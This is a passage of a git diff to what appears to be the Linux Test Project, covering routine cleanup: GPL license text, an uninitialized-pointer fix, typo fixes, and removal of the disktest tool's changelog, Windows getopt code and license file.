-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
-
-These tests are OSDL/LF and imported into LTP under GPLv2.
diff --git a/testcases/kernel/hotplug/memory_hotplug/commands.c b/testcases/kernel/hotplug/memory_hotplug/commands.c
index 6655d35..78f46fb 100644
--- a/testcases/kernel/hotplug/memory_hotplug/commands.c
+++ b/testcases/kernel/hotplug/memory_hotplug/commands.c
@@ -438,16 +438,11 @@
  */
 static int get_current_nodeid_list(unsigned int *fromids)
 {
-	/*
-	 * FIXME (garrcoop): gcp is uninitialized and shortly hereafter used in
-	 * an initialization statement..... UHHHHHHH... test writer fail?
-	 */
-	glctx_t *gcp;
+	glctx_t *gcp = &glctx;
 	nodemask_t my_allowed_nodes;
 	int nr_nodes = 0, max_node = gcp->numa_max_node;
 	int node;
 
-	gcp = &glctx;
 	my_allowed_nodes = numa_get_membind_compat();
 	for (node = 0; node <= max_node; ++node) {
 		if (nodemask_isset(&my_allowed_nodes, node))
diff --git a/testcases/kernel/input/input06.c b/testcases/kernel/input/input06.c
index 14141b7..b698c27 100644
--- a/testcases/kernel/input/input06.c
+++ b/testcases/kernel/input/input06.c
@@ -178,7 +178,7 @@
 		iev = next_event();
 	}
 
-	/* make sure we have atleast one auto-repeated key event */
+	/* make sure we have at least one auto-repeated key event */
 	if (!autorep_count) {
 		tst_resm(TFAIL,
 			 "Didn't get autorepeat events for the key - KEY_X");
diff --git a/testcases/kernel/io/Makefile b/testcases/kernel/io/Makefile
index 7db0288..d346388 100644
--- a/testcases/kernel/io/Makefile
+++ b/testcases/kernel/io/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/io test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/kernel/io/direct_io/dma_thread_diotest.c b/testcases/kernel/io/direct_io/dma_thread_diotest.c
index aa51bf2..c317eba 100644
--- a/testcases/kernel/io/direct_io/dma_thread_diotest.c
+++ b/testcases/kernel/io/direct_io/dma_thread_diotest.c
@@ -289,7 +289,7 @@
 				rc = pthread_create(&worker[j].tid, NULL,
 						    worker_thread, worker + j);
 				if (rc != 0) {
-					tst_brkm(TBROK, cleanup, "Can't create"
+					tst_brkm(TBROK, cleanup, "Can't create "
 						 "worker thread %d: %s",
 						 j, strerror(rc));
 				}
@@ -304,7 +304,7 @@
 				}
 				if ((intptr_t)retval != 0) {
 					tst_brkm(TBROK, cleanup, "there is"
-						 "some errors in worker[%d],"
+						 "some errors in worker[%d], "
 						 "return value: %ld",
 						 j, (intptr_t)retval);
 				}
diff --git a/testcases/kernel/io/disktest/.gitignore b/testcases/kernel/io/disktest/.gitignore
deleted file mode 100644
index ea96a9e..0000000
--- a/testcases/kernel/io/disktest/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-/disktest
diff --git a/testcases/kernel/io/disktest/CHANGELOG b/testcases/kernel/io/disktest/CHANGELOG
deleted file mode 100644
index 827f1c9..0000000
--- a/testcases/kernel/io/disktest/CHANGELOG
+++ /dev/null
@@ -1,289 +0,0 @@
-Disktest Version v1.4.x CHANGELOG
-
-CHANGES SINCE v1.3.x
-
-  Major Changes:
-
-    Added an option to specify the amount of time that IO can be stalled,
-    before it is considered an error.  The default is 120 sec and can be
-    changed using the -t.  An IO timeout is a warning message, unless -At is
-    specified.
-
-    Added additional option to -t to support random IO delays per thread. This
-    function use to only support static delays.  Review the -t option in the
-    man page to understand the new operation.
-
-    Added signal handling.  So that SIGINT, SIGKILL, SIGHUP, SIGTERM, and
-    SIGUSR1 are now handled.  Sending SIGUSR1, will display heartbeat
-    statistics since the last time SIGUSR1 was issued or the last heartbeat
-    interval if -h is specified.  Sending SIGUSR1, reset heartbeat counter
-    statistics.
-
-    More changes to the -m option.  With the release of the last level of
-    disktest, it was found the the extra mark options which were add, caused
-    some undesired results, as in not being able to read back from a different
-    host, due to the host name being automatically set.  The -m option is now
-    been cahnged to work just like the -P option.  So that all mark options
-    can be included, or only the desired subset.
-
-    Added sync interval to -Is.  The number of IOs can now be specified,
-    before a sync is sent.  If -Is is specified, then sync will occur on every
-    write IO.  If -Is100, then every 100th write IO, and sync will occur.
-
-    Added -R option, which specifies a number of retries that should occur
-    after a seek, or read/write failure.  Also specifies how much delay should
-    be added before a retry occurs. sync and data miscompares errors are not
-    retrable.
-
-    Added option to -A, -At, this will cause an IO timeout, specified by -t, to
-    be an error and fail and IO test.  By default, IO timeouts are warnings.
-
-  Minor Changes:
-
-    Fixed that use of -s or -S, where the LBA/Block specified is greater then
-    the calculated volume size.  This was an issue when initializing sparse
-    file targets where a single write was issued at the end of the file.
-
-    Fixed a bug for Windows were the volume size was returned in bytes when it
-    should have been returned in blocks.
-
-    Fixed a bug where during linear testing using cycles, the read time for the
-    cycle duration was always being printed as one second.
-
-    Disktest now uses stat(2) to check the filespec type, removed depricated
-    way of checking file type, which did not always work as expected.
-
-    Updated the sync on test end, to always sync when open for write. This is
-    to make sure that even on block devices, that the kernel cache is sync'd to
-    disk before moving to the next test.  Previously this was only done when
-    the filespec was a filesystem file only.
-
-    Added patch from Mike Anderson for checking status on sync/close.
-
-    Fixed cycle performance stat printing. Cycle performance was printing at
-    the end if each cycle, even if -PC was not specified.
-
-    Updated docs, to document the -PC option.
-
-    Added check for early exit in IO threads when global run flag cleared.
-
-    When the -Ac flag is specified, error messages, that would normally fail
-    the test will be printed as warning messages, and the test will continue.
-    At the end of the test, if it was able to complete, the test will be
-    described as passed with warning.  if the -Ac is not used, the the same
-    test will be failed with errors.
-
-    Fixed up some issues with the timer code, specifically so that timed runs
-    are based on the number of seconds elapsed, not actual time, this was an
-    issue during timed runs, and the system time was changed.
-
-    Fixed an issue with the block range calcualation, when specified with the
-    -S option. The last LBA calculation was wrong, of by transfer size - 1.
-
-    Fixed an issue that was intruduced in 1.3, where percentage read/write
-    always assumed error checking enabled.
-
-    Fixed the -s and -S options so that they now allow for hex and oct input
-    from the command line.
-
-    Modified the fsync to not be called on character raw devices, this was
-    causing a false failure on IO thread exit.
-
-    Ross S. W. Walker found a significant performance drop in IO throughput.
-    This was caused by calling sleep(0) by default on every IO.  Modified
-    the code so that if delay is zero, the sleep is not called.
-
-CHANGES SINCE v1.2.x
-
-  Major Changes:
-
-    Added synchronization at the block level between threads as the default.
-    Also added an option to serialize IO and the IO operation level but it is
-    not the default.  Added to new options to -A, s and S, to manipulate these
-    new synchronization and serialization features.
-
-    Added the target, cycle start time, seed, and hostname info to the mark
-    option. When the mark option is specified, the LBA number, the pass
-    count, the start time in UTC, the seed value, the hostname, and the
-    target is added to the front of each LBA data set, the remainder of the
-    data set is then filed with the requested data pattern.
-
-    On a data miscompare, disktest will now reread the lba that caused the data
-    miscompare and present that data in the dump file and stdout.
-
-    Add options to -A.  If -Ag is specified, all threads to all tagets are
-    killed, vs. threads to only the target that had the error.  -Am, will write
-    a marker, DISKTEST ERROR OCCURRED, to LBA 0 of the failing target device.
-    To turn off the reread on data miscompare us the option -Ar. The orginal
-    use of -A, continue on error, is now the option -Ac. -Aw will allow for
-    WORM tesign when using -pR.  -As and -AS are new IO sycronization options.
-
-    A new option -M has been added.  This will override the use of the cycle
-    start time on the mark data and set it to the specified value up to 8 bytes.
-
-    Added new seek pattern, -pr, random interleaved.  The way this seek pattern
-    functions is that a random LBA is selected, and then it is written to, if
-    write is specified, then read from, if read is specified, before selecting
-    a new random LBA.  To get the original random, which supports the Duty
-    cycle function and writes and read to random LBAs for each seek, use -pR.
-
-    Added a delay time option, -t <delay>.  This will allow a user to specify,
-    in milliseconds, the amount of time for each thread to delay before
-    performing each IO operation.  The default is to not delay.
-
-    Added a LBA alignement offset option, -o <offset>.  This option allows a
-    user to specify the LBA which IO will start from and be aligned to.  For
-    example if -o3 is specified for 1024 byte IOs, then the LBA alignment for
-    IO will start at LBA 3 and be aligned at LBA 5, 7, 9, etc.  Instend of
-    aligned at LBA 0, 2, 4, 6, 8 etc.  This is used to match the IO alignment
-    to the storage device striping, or volume managment alignement in an OS.
-
-  Minor Changes:
-
-    The -d option use to reset the count at every 512 interval regardless of the
-    requested dump size.  This made it difficult to dump current data content
-    from the filespec and compare it with misscompare data.  The count is now
-    consistent with the requested dump size.
-
-    Modified the dump file to include the start arguments and the target.
-
-    The timed test, -T, now works correctly with specifing cycles, -C.
-
-    During cycle testing, the random data, -z,  is now different for each cycle.
-
-    Added the -F option to the -? usage.
-
-    When a data miscompare occures, the data printed to stdout now shows the
-    byte offset of the first byte that caused the miscompare, and 16 bytes of
-    data at that offset.
-
-    Added a compile directive for debug information, so that debug type code is
-    now #ifdef'd.  To us the -V option, the debug directive _DEBUG must be
-    speicifed at compile time.
-
-    Added the usecs an IO takes to complete in the debug information when using
-    verbose level 5.
-
-    The option -ma has been change to only having to specify -m
-
-    When using the -F option to specify more then one target, there was a bug
-    were the mutex was held for all targets during data compares, this has now
-    been fixed so that each target holds its own set of mutexes.
-
-    Changed stdout to not buffer its output.
-
-    Modified the volume sizing function for aix, so that it could use the
-    extended functions for getting the volumes size when DF_LGDSK is set
-    as a flag in the devinfo struct.
-
-    Modified the Makefile.aix to support compiling of a 64bit binary by
-    default.
-
-    Added additional checking when attempting to generate a random LBA target
-    to lower the need to regenerate an LBA after alignment and transfer size
-    are taken into account.
-
-    The heartbeat option now shows statistics for the hearbeat interval, and
-    not the aggregate of the cycle.  Also added more discription to the
-    statistical output to discribe the heartbeat, cycle, and total stats.
-
-    Modified the block alignment macro so that non power of 2 transfer sizers
-    will align correctly.  Previously, when transfering non 2^n trnasfer sizes
-    the nearest 2^n would be used.
-
-    Add a patch to the code, provided to me by Oliver Paukstadt, were on s390,
-    need to specify that length of the value used for "longest time" in the
-    timer code.
-
-    When an error occurs in io, the errno has been added to the output line.
-
-CHANGES SINCE v1.1.x
-
-  Major Changes:
-
-    A new option -F has been added.  This allows the use of a file to discribe
-    the targets that disktest will run against.  This should work as if an
-    individual command line was started for each of the targets specified in the
-    file.
-
-    Add an option, C, to the performance option -P.  This allows the user to
-    specify at the end of each cycle or test, to display the performance
-    information for the cycle.  In the case were there is only one cycle, then
-    the total and cycle performance data will be identical.
-
-  Minor Changes:
-
-    Added day calculation to runtime statistics.
-
-    When setting a finite pass count, the passes would continue one more cycle
-    then specified.
-
-    Added fsync on close for unix systems when doing file IO.  The fsync will
-    occur in between cycles and at the conclusion of a test.  Also added a
-    modification to -If, -Ifs, this will force an fsync on every write.  The
-    default is to only fsync at the end of a cycle or test.
-
-    When using the the mark option, -m, disktest would some times report a
-    false data miss compare.  Also the only -m available now is -ma.  There
-    are cases that could cause false miss-compares when using variable block
-    transfer size and the -mf or -ml options.  For now these modifiers have
-    been disabled.
-
-    Disktest now detects the size of a file when doing filesystem IO tests. It
-    previously defaulted to the internal default of 2000 LBAs.
-
-    Updated the man page and usage text to describe option -z and option -Q.
-    They have always been there, but never in the documentation.
-
-    I had made use of lots of globals to share data between threads. Most of
-    these have now been cleaned up.
-
-    when using the -PPA option, the values were being rounded and not showing
-    the calculated tenths.
-
-    When running -C0, dsktest was showing 'Starting pass x of 0', removed the
-    'of 0' part.
-
-    Statistics are never being shown when using -C0 option.  Now, stats will
-    be shown for each cycle and the total for all cycles.
-
-    The process ID that is shown as part of the running test is unique to the
-    test running, not to each thread.  This change was made to make it easier
-    to track a single test out of a log file by searching for the id.  It is
-    also that same id used for the random seed and the dump file identifier.
-
-    The -f option did not take into consideration the endian-ness of the arch.
-    this would cause issues in the line value of the data pattern when using
-    the option.  This has been fixed.
-
-    Added IFDEF for Power when using ioctl BLKGETSIZE where the size must be a
-    unsigned long for the value to return correctly
-
-CHANGES SINCE v1.0.x
-
-  Major Changes:
-
-    Updated performance output based on command line.  Gave one decimal in
-    MB/s output.
-
-    Rewrote -pL IO routine to show correct stats.  Now shows pass count when
-    using -C.
-
-    Added dump function from command line.  Created formatted dump output for
-    Data miscomare and command line.
-
-    Modified performance statistic printing to be more accurate with respect
-    to throughput and IO/s.  Added one decimal place of precision in MB/s
-    calculation.
-
-  Minor Changes:
-
-    Code cleanup to remove the plethora if #ifdef for windows/unix functional
-    differences.
-
-    Updates to parsing routines for user input.  Added multipliers for -S and
-    -s command line arguments. Forced default seeks to default if performing
-    a diskcache test.
-
-    Can now leave off filespec the full path header as it will be added based
-    on -I.
diff --git a/testcases/kernel/io/disktest/Getopt.c b/testcases/kernel/io/disktest/Getopt.c
deleted file mode 100644
index 57c2927..0000000
--- a/testcases/kernel/io/disktest/Getopt.c
+++ /dev/null
@@ -1,182 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-*
-* $Id: Getopt.c,v 1.5 2008/02/14 08:22:22 subrata_modak Exp $
-* $Log: Getopt.c,v $
-* Revision 1.5  2008/02/14 08:22:22  subrata_modak
-* Disktest application update to version 1.4.2, by, Brent Yardley <yardleyb@us.ibm.com>
-*
-* Revision 1.4  2002/03/30 01:32:14  yardleyb
-* Major Changes:
-*
-* Added Dumping routines for
-* data miscompares,
-*
-* Updated performance output
-* based on command line.  Gave
-* one decimal in MB/s output.
-*
-* Rewrote -pL IO routine to show
-* correct stats.  Now show pass count
-* when using -C.
-*
-* Minor Changes:
-*
-* Code cleanup to remove the plethera
-* if #ifdef for windows/unix functional
-* differences.
-*
-* Revision 1.3  2002/02/21 21:32:19  yardleyb
-* Added more unix compatability
-* ifdef'd function out when
-* compiling for unix env. that
-* have getopt
-*
-* Revision 1.2  2002/02/04 20:35:38  yardleyb
-* Changed max. number of threads to 64k.
-* Check for max threads in parsing.
-* Fixed windows getopt to return correctly
-* when a bad option is given.
-* Update time output to be in the format:
-*   YEAR/MONTH/DAY-HOUR:MIN:SEC
-* instead of epoch time.
-*
-* Revision 1.1  2001/12/04 18:57:36  yardleyb
-* This source add for windows compatability only.
-*
-*/
-
-#ifdef WINDOWS
-
-#include <stdio.h>
-#include <stddef.h>
-#include <ctype.h>
-#include <string.h>
-#include "getopt.h"
-
-/*
- *
- *  FUNCTION: getopt()
- *
- *	  Get next command line option and parameter
- *	  source gathered from MS examples and modified
- *	  to conform with unix like getopt.
- *
- */
-
-/* Global Exportable */
-int optind;
-char *optarg;
-
-int getopt(int argc, char **argv, char *pszValidOpts)
-{
-	char chOpt;
-	char *psz = NULL;
-	char *pszParam = NULL;
-	static int iArg = 1;
-
-	if (iArg < argc) {
-		psz = &(argv[iArg][0]);
-		if (*psz == '-' || *psz == '/') {
-			/* we have an option specifier */
-			chOpt = argv[iArg][1];
-			if (isalnum(chOpt) || ispunct(chOpt)) {
-				/* we have an option character */
-				psz = strchr(pszValidOpts, chOpt);
-				if (psz != NULL) {
-					/* option is valid, we want to return chOpt */
-					if (psz[1] == ':') {
-						/* option can have a parameter */
-						psz = &(argv[iArg][2]);
-						if (*psz == '\0') {
-							/* must look at next argv for param */
-							if (iArg + 1 < argc) {
-								psz =
-								    &(argv
-								      [iArg +
-								       1][0]);
-								if (*psz == '-'
-								    || *psz ==
-								    '/') {
-									/* next argv is a new option, so param
-									 * not given for current option
-									 */
-									fprintf
-									    (stderr,
-									     "-%c option requires an argument.\n",
-									     chOpt);
-									chOpt =
-									    '?';
-									pszParam
-									    =
-									    NULL;
-								} else {
-									/* next argv is the param */
-									iArg++;
-									pszParam
-									    =
-									    psz;
-								}
-							} else {
-								/* reached end of args looking for param */
-							}
-						} else {
-							/* param is attached to option */
-							pszParam = psz;
-						}
-					} else {
-						/* option is alone, has no parameter */
-					}
-				} else {
-					/* option specified is not in list of valid options */
-					fprintf(stderr,
-						"Invalid option -- %c\n",
-						chOpt);
-					chOpt = '?';
-					pszParam = NULL;
-				}
-			} else {
-				/* though option specifier was given, option character
-				 * is not alpha or was was not specified
-				 */
-				chOpt = 0;
-				pszParam = &(argv[iArg][0]);
-			}
-		} else {
-			/* standalone arg given with no option specifier */
-			chOpt = -1;
-			pszParam = &(argv[iArg][0]);
-		}
-	} else {
-		/* end of argument list */
-		chOpt = -1;
-	}
-
-	optind = iArg++;
-	optarg = pszParam;
-	return (chOpt);
-}
-
-#endif /* defined WINDOWS */
diff --git a/testcases/kernel/io/disktest/Getopt.h b/testcases/kernel/io/disktest/Getopt.h
deleted file mode 100644
index 138610f..0000000
--- a/testcases/kernel/io/disktest/Getopt.h
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-*
-* $Id: Getopt.h,v 1.5 2008/02/14 08:22:22 subrata_modak Exp $
-* $Log: Getopt.h,v $
-* Revision 1.5  2008/02/14 08:22:22  subrata_modak
-* Disktest application update to version 1.4.2, by, Brent Yardley <yardleyb@us.ibm.com>
-*
-* Revision 1.3  2002/03/30 01:32:14  yardleyb
-* Major Changes:
-*
-* Added Dumping routines for
-* data miscompares,
-*
-* Updated performance output
-* based on command line.  Gave
-* one decimal in MB/s output.
-*
-* Rewrote -pL IO routine to show
-* correct stats.  Now show pass count
-* when using -C.
-*
-* Minor Changes:
-*
-* Code cleanup to remove the plethera
-* if #ifdef for windows/unix functional
-* differences.
-*
-* Revision 1.2  2002/02/21 21:32:19  yardleyb
-* Added more unix compatability
-* ifdef'd function out when
-* compiling for unix env. that
-* have getopt
-*
-* Revision 1.1  2001/12/04 18:57:36  yardleyb
-* This source add for windows compatability only.
-*
-*/
-#ifdef WINDOWS
-int getopt(int argc, char** argv, char* pszValidOpts);
-#endif /* defined WINDOWS */
diff --git a/testcases/kernel/io/disktest/LICENSE b/testcases/kernel/io/disktest/LICENSE
deleted file mode 100644
index 31ee81c..0000000
--- a/testcases/kernel/io/disktest/LICENSE
+++ /dev/null
@@ -1,272 +0,0 @@
-
-      The GNU General Public License (GPL)
-      Version 2, June 1991
-
-      Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-      51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
